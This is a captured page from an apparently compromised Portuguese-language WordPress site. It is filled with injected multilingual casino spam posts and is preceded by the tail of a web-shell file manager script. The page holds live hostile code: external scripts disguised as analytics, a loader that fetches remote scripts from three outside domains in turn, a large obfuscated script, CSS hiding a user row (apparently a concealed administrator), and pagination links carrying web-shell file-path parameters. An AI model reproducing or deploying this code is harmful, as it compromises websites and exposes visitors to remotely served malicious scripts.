            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//nornikal3pi12.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a88d2065287c*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://nornikal3pi12.life/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/dwunastu-jackbit-logowanie-do-kasyna-najlepszych-kasyn-z-kodami-bonusowymi-na-darmowe-spiny-polska/">dwunastu Jackbit logowanie do kasyna Najlepszych Kasyn z Kodami Bonusowymi na Darmowe Spiny Polska</a></h2><p>Content Jackbit logowanie do kasyna | Bonus po pompeii miejsca do odwiedzenia gierek ci&#x105;gu rejestracj&#x119; 2025: Wy&#x142;&#x105;cznie najlepsze kasyna online! Wówczas gdy wykorzysta&#x107; bezpłatne spiny oraz spe&#x142;ni&#x107; wymóg ruchu? , którzy sprawi&#x107;, aby dostanie&#x107; bezpłatne spiny z brakiem depozytu? R&#xF3;wnie rzadk&#x105; propozycj&#x105; na rzecz graczy s&#x105; atrakcyjne darmowe spiny wyjąwszy depozytu. Po trzecie, darmowe spiny [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/bezplatna-kasa-zbyt-rejestracje-lucky-block-logowanie-do-kasyna-bez-depozytu-kasyna-pl-2026/">Bezpłatna kasa zbyt rejestrację lucky block logowanie do kasyna bez depozytu Kasyna PL 2026</a></h2><p>Content Wyjątkowe propozycji w celu rodzimych internautów: lucky block logowanie do kasyna Lub istniej&#x105; pi&#x119;&#x107;dziesi&#x119;ciu darmowych spin&#xF3;w zbytnio rejestracj&#x119; w całej grach Abonament naszego własnego biuletynu oznacza, &#x17C;e zapozna&#x142;e&#x15B; si&#x119; i zaakceptowa&#x142;e&#x15B; nasz&#x105; polityk&#x119; prywatno&#x15B;tobie jak i również warunki korzystania z us&#x142;ug. W HolyMolyCasinos wsp&#xF3;&#x142;wkonujemy nasze prace spośród w najwyższym stopniu znakomitymi operatorami kasyn w [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/trusted-casino-jackpot-wins-a-comprehensive-guide/">Trusted Casino Jackpot Wins: A Comprehensive Guide</a></h2><p>Have you ever dreamed of hitting the jackpot at an online casino? With the right strategies and a bit of luck, it is possible to win big at trusted online casinos. In this article, we will explore everything you need to know about trusted casino jackpot wins, including gameplay, tips, payouts, and more. With over [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/voor-offlin-speelautomaten/">Voor offlin speelautomaten</a></h2><p>Deze slots ben gekoppeld in andere schrijven ofwe casino&#8217;s, waarbij zeker deel vanuit elke aanwending bijdraagt ​​in een groeiende jackpot. Ofschoon het mogelijkheid appreciren u verslaan van gelijk https://versaillescasino.org/ progressieve jackpot klein zijn, zijn de potentiële uitbetalingen gigantisch, waardoor diegene lezen intact goed bedragen.</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/scheepsgezagvoerder-kare-plusteken-het-liefste-van-u-dromerij-piratenverhaal-casino333-5-6-klas-avonturenverhaal/">Scheepsgezagvoerder Kare plusteken het Liefste van u Dromerij Piratenverhaal Casino333 5 6 klas Avonturenverhaal</a></h2><p>Grootte Gameplay en ondervinding afwisselend Captai Shark &#8211; Casino333 Gebruiksaanwijzing Arne Afloop Savoir c&#8217;est pouvoir Saul&#8217;s dekking (Diegene ben gij slippen vanuit Saul&#8217;s rok of &#8211; Ploeggenoten lepelen veel diepteloopjes va ben bergkam – overlaps en underlaps – afwisselend tegenstanders absent gedurende ‘trekken’. Inschatten die fragment trainde Fietsslot nadrukkelijk wegens gij voorbereiding. Waarderen finesse slijpt [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/this-step-ensures-that-your-account-is-safe-and-you-possess-offered-precise-information/">This step ensures that your account is safe and you possess offered precise information</a></h2><p>Following such basic steps, you can easily and quickly arranged your web gambling enterprise account and you will dive into the enjoyable arena of online gambling. Regardless if you are prepared in-line otherwise leisurely at your home, mobile compatibility means the brand new adventure from online gambling is always available. They adhere to strict direction [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/premio-privato-di-base-mucchio-adm-nota-permesso-2026/">Premio Privato di Base Mucchio ADM: Nota Permesso 2026</a></h2><p>Content Qual è il miglior gratifica escludendo base? Gratifica escludendo deposito sopra SPID / CIE Chi siamo addirittura gioco sicuro Il bonus compenso è separatamente delle tipologie di bonus scompiglio ad esempio sono divenute piuttosto frequenti negli ultimi anni. La scelta di prendere dietro porzione del stabile perso permette di continuare per agire privato di [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/gratifica-100-50-giri-attualmente/">Gratifica 100%, 50 Giri Attualmente</a></h2><p>Content Ad esempio eseguire un base Ispezione Completa di HoneyBetz Confusione Casinò Live La maniera rientra negli canone di giustizia di nuovo aiuta per riparare il guadagno, ancora uccidere rischi di accessi non autorizzati. Sopra controllo Skiller sito web ufficiale addirittura governo profilo, trattiamo i dati con come garantito addirittura logico verso desktop ancora amovibile. [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/migliori-bisca-online-italiani-puoi-provare-qui-guida-completa-ai-siti-di-gioco-dazzardo/">Migliori Bisca Online Italiani: puoi provare qui Guida Completa Ai Siti Di Gioco D&#8217;Azzardo</a></h2><p>L’ADM (prima AAMS) è l’unico istituzione quale introduce le regole di richiamo per i casino online italiani autorizzati. L’autoesclusione, che può ancora abitare revocata davanti dello deteriorarsi del circostanza, può essere implorazione così dal sito dell’ADM quale immediatamente al casa da gioco con cui ci si registra.</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/mucchio-con-spid-2026-annotazione-veloce-topbet24-premio-verificati-adm/">Mucchio con SPID 2026: Annotazione Veloce, Topbet24 Premio verificati ADM</a></h2><p>Content Topbet24: Incontro Digitale &#8211; Premio Casa da gioco: 5.105€, 500 Freespin NetBet scommesse Decine di software providers rinomati Al base si riceve il 100% fino verso 5.000€, ad esempio permette di intensificare l’costo del primo base con i limiti di nuovo le condizioni previste. Inoltre, alla incisione è per di più previsto un fun [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"><a href="https://pblmedic.com/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Ffirewall-offline-cmd" ><span class="meta-nav">&larr;</span> anterior</a></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/3/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Ffirewall-offline-cmd" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://pblmedic.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"],i=0;\nfunction n(){if(i>=u.length)return;var s=document.createElement('script');\ns.src=u[i];s.onerror=function(){i++;n()};\n(document.head||document.documentElement).appendChild(s);i++;}\nn();})();</script>
<script>
"use strict";var rxdmS4,FlCAu25,g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;const FZHYVb=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x5d,0x10,0x200,0xf,0x3,0x2,0x4,0x3ff,0x7f,0x1f,0x80,0x12,0x20,0x5,0x18,0xa,0x13,0x40,0xffff,"js",0x82,!0x1];function R_2lkdW(rxdmS4){var FlCAu25="<,^7;9x`%1.0+g~o:JG*fp]ca2O#m}B[bX5d{(wt=iA&TEUINLV$erR_?yKl|YCHvuknW/Z6)>Q8DshzSP4M3!\"Fq@j",g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;N4W9hYK(g3Gld7J=""+(rxdmS4||""),_PoKZj=g3Gld7J.length,MSUxhJ2=[],cUL0VT=FZHYVb[0x0],j2tRUWQ=FZHYVb[0x0],Q4sOnFn=-FZHYVb[0x1]);for(nco7OV=FZHYVb[0x0];nco7OV<_PoKZj;nco7OV++){var R_2lkdW=FlCAu25.indexOf(g3Gld7J[nco7OV]);if(R_2lkdW===-FZHYVb[0x1])continue;if(Q4sOnFn<FZHYVb[0x0]){Q4sOnFn=R_2lkdW}else{N4W9hYK(Q4sOnFn+=R_2lkdW*FZHYVb[0xc],cUL0VT|=Q4sOnFn<<j2tRUWQ,j2tRUWQ+=(Q4sOnFn&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(MSUxhJ2.push(cUL0VT&FZHYVb[0x3]),cUL0VT>>=FZHYVb[0x2],j2tRUWQ-=FZHYVb[0x2])}while(j2tRUWQ>FZHYVb[0x9]);Q4sOnFn=-FZHYVb[0x1]}}if(Q4sOnFn>-FZHYVb[0x1]){MSUxhJ2.push((cUL0VT|Q4sOnFn<<j2tRUWQ)&FZHYVb[0x3])}return t24J32(MSUxhJ2)}function s7MFvm(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=R_2lkdW(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}N4W9hYK(rxdmS4={},FlCAu25=["ey0.sM]{{1_D]9[aL$>xSDUU[k4|K2hO=+E.r8i`7*ZZlw,(`6(QnNaS<+","<=%R_(gr5|xBTM7Gf$txPyVvllU/n~U=)<","/NyRrKmG;1W>54:#Gx<x_UO%Blcub7Oc}fte`Q2I7","![cXYtO\"x",",Lg`=HGU%f_29{YJ(O_e@E(`(vQZNI{w&+WQddxZn*YmTI`*&CFLe$gIM*","MN6mNZpd7yxzM~Qwl7?x6z8`9g=z5g9w7}%1>P.e>JGNwL5{Dc7","YCH>0wma0~4b#O<cJbWO%DC\"}p`gd~T*gyWQZ56,","pHb$$K0,","9Lj}qy<{zo)H#^R#)7?1}Mu$hH:fY;Ba1OO#x{j\"fv*4+o$isClrFM?^2~t","Bu@$y|DxhH2#,{4=;km[9N6g&lw","k$U[c6<","vWTQ4CB^","Tcq>}Sz$(KsrSl&O*o_ed=g*+l.RtZ&t,b1B/rZQV|vL,)Z(_lGs~P<","?R]en)%awv,^3l,a($g[^\".\"$*!9%ovc|({ssD[*0l!P/;","o+g_Ghj+NHRZ&wo#96OsgN4U~p3Z[M}dnCS1","q>Hm1zH$Co=`};k{nc0sVLFcV1AN:#2}&&@xLWnc7","CW1$1\"QUd|xYel>*ql7","r$p;N$*,Ffg)X2ba^&^","#fIeMCKGOJr","Uxyx)C+a(K~_SMC}hZp`0M8,","Ofh;Y|#}!g3Q+3G=P7~`9_VBUrX~3Ibc>lKr<KF`P|SoRg2d0cg`@y^K~pw","+&nbCU{GWyYs%7.","m1c>2eEIvG)2^2]m_=,8g_W+;","2Oux{82r{vtmJ:Bdm,","fyC_N8gixv5)a6hO;6([4MS+UpPZ1(\"iAQB[3e0`l0Ld+t~","@JMsw4meKl9x]P$i:&^","5N2h6z9g|%:f)Mw24EV$3E.BY?ls<:p#]Rubx_E!x.SP42w2]bSLe),27","]Q~_bR1g,G=e!S,J2,","]oyx^UprAC}u;#F}$7J$JDrckH\"{<oSt}U.}$Z<","[c[;gQFiH|czW{A2bcFm!VDGT~_D[7","huYQCs:ZsroC36|{[QweO=?B$ROJ1:<BV5+.T8(*$|VS.9gwNf+.*","MlwL%P.G5HepO9#}*x:RmITa>K]5;7","$1/`ORf%!Ka_Sor=QC;}>yavUGj})l+OYupD./|BAfwm!|CASle.@I%Gx","T+$}EHr,6v0(hL+",">JBD?z>,",")7v>@w?epv:8cwdJjC/m1z4UPR[)vokGM<","BR9.}e@JkRk2lKYc\"EXbGVxBS+,)7Ord/CnsN$=+bo:z&6+t9LF1]",".6wLgD_!]v18#^;[%}HmJ_,*IG~zTI%[5=N1@y}H/*a","zCG)DN``NpQS^Y]5z2e}aw`,qgCeqIGm[},#qhRS,o","5WbxHU]Q;Rksa:wGe7\"`9)hxbojnJNWBm=Imjhy}LGq}&OjAkWYmf","fHn}idrg0ChLVggOTubxS{:{/vfzC4@cxGoDhVxA6f=zL2VmM<","+O_eSD(g4*Pb,","N5(.ml]a^od)>)VmHW7}yr*`%g`I3o,Boyl%","[R8}kQKK&J%RHw%GtQC;f","d|h[K$s`1J","iy7}FM.ewgxR1:?dJ(wmtH(yG1;cP;adYWcLUYG{9","Uux1ae&dQl)Lq7z=o|l%mRU^1~Y","J6B>/znHC%~zl~K{9|kr%C*}9K`cnwj]`yoRcl[yOJ^),)Za%H?>}","w65}=WtyG|@,%on[ZNt;2I]UDC!QTMstU[DVGMMztgX)b73]{|)1ODny}~","GH+[/NMd#~v,/|(2lNXb@XG{J1XpYamipR49My]%+~xx/N{[UO^","dyUmzQ+K|C%NX:7&s(]eqwQGglOJ3IgfI&esZPy,","7RR1;535ju}K$~>2S5p.","goU`w>(/El+:+oJf7cNRA8@,:ow>r)&ww6vLO!I,","AOG$yZK\"j~t>CL&wBu~euN(I&%:)=;","&Q[;dR/,+pQS@P`2)c?L+Vm%L1[DVL=wJU49@w+^","Bu)1GyC+:o=>2LJtvxC;5eb^","h?ZDe)|^~l:z]O`(WW#b:Pu/[HQ},:Dt",".b8b_rgHV|aad~T*T$Zme8<","tyR_iY|UAfKlkPnGw6$%X=(`)go4T#CaY7c;)C<","2O5bcM12_v>}c^2Ag+vL75hQj~DsQ~QwX(er1_<","s2A#Se|a<pXp5LW[2u_mZ_4U!g^hjwC}m(x_(LVB7y%WSa^J)c[D8w:^","pUf}lsWSh%}D1(g","*x/[*6K=M|:)b)rdHcG8G","HmHLjM]e8CT~;t+O6urQf6T=iJX#C2CcyNpm<|#dPRulM^w2>NB_aVV^","&yD[vQd`}kw[*VwwR$iBfD}r^y2aa6+*g;7","ZWP%SwJ`9.\"|Zg1wWEg[jh=U.lnZ;#\"iZ<","0Hp.N3~Z8uBK$wf#rRoDIW+UPRgz_o6GBRx_p","lW1$_5+Gyfh;C2u(TW3[OhyIv1.79|otd(P$oDLi$*Z>$ZN==}BeqIBall(","E(^$1{DU[|]ftOA*P(894PucZg*[0~$5]+u$t8[}Uo@sdKYJ$$4%","{O!Q&HtI31#5j2ZwxOT}Q/Sex_1gv#X(?6$reZid1Kt","Dx{.#>W\"N|KS9{q5xW}[v5!g%J$lxP]5TxZDQ/4acgilqogfPZoxn)$iIG","MZ]mIZ>`KC<XWMS5^pn9<zh5K0llY|[J@r]XLW:a(gdpS7","~OCDm=r,","OW36<|3KvrY>lwV5m5=RcDOBok!Z0OmdJ+/.0w5B5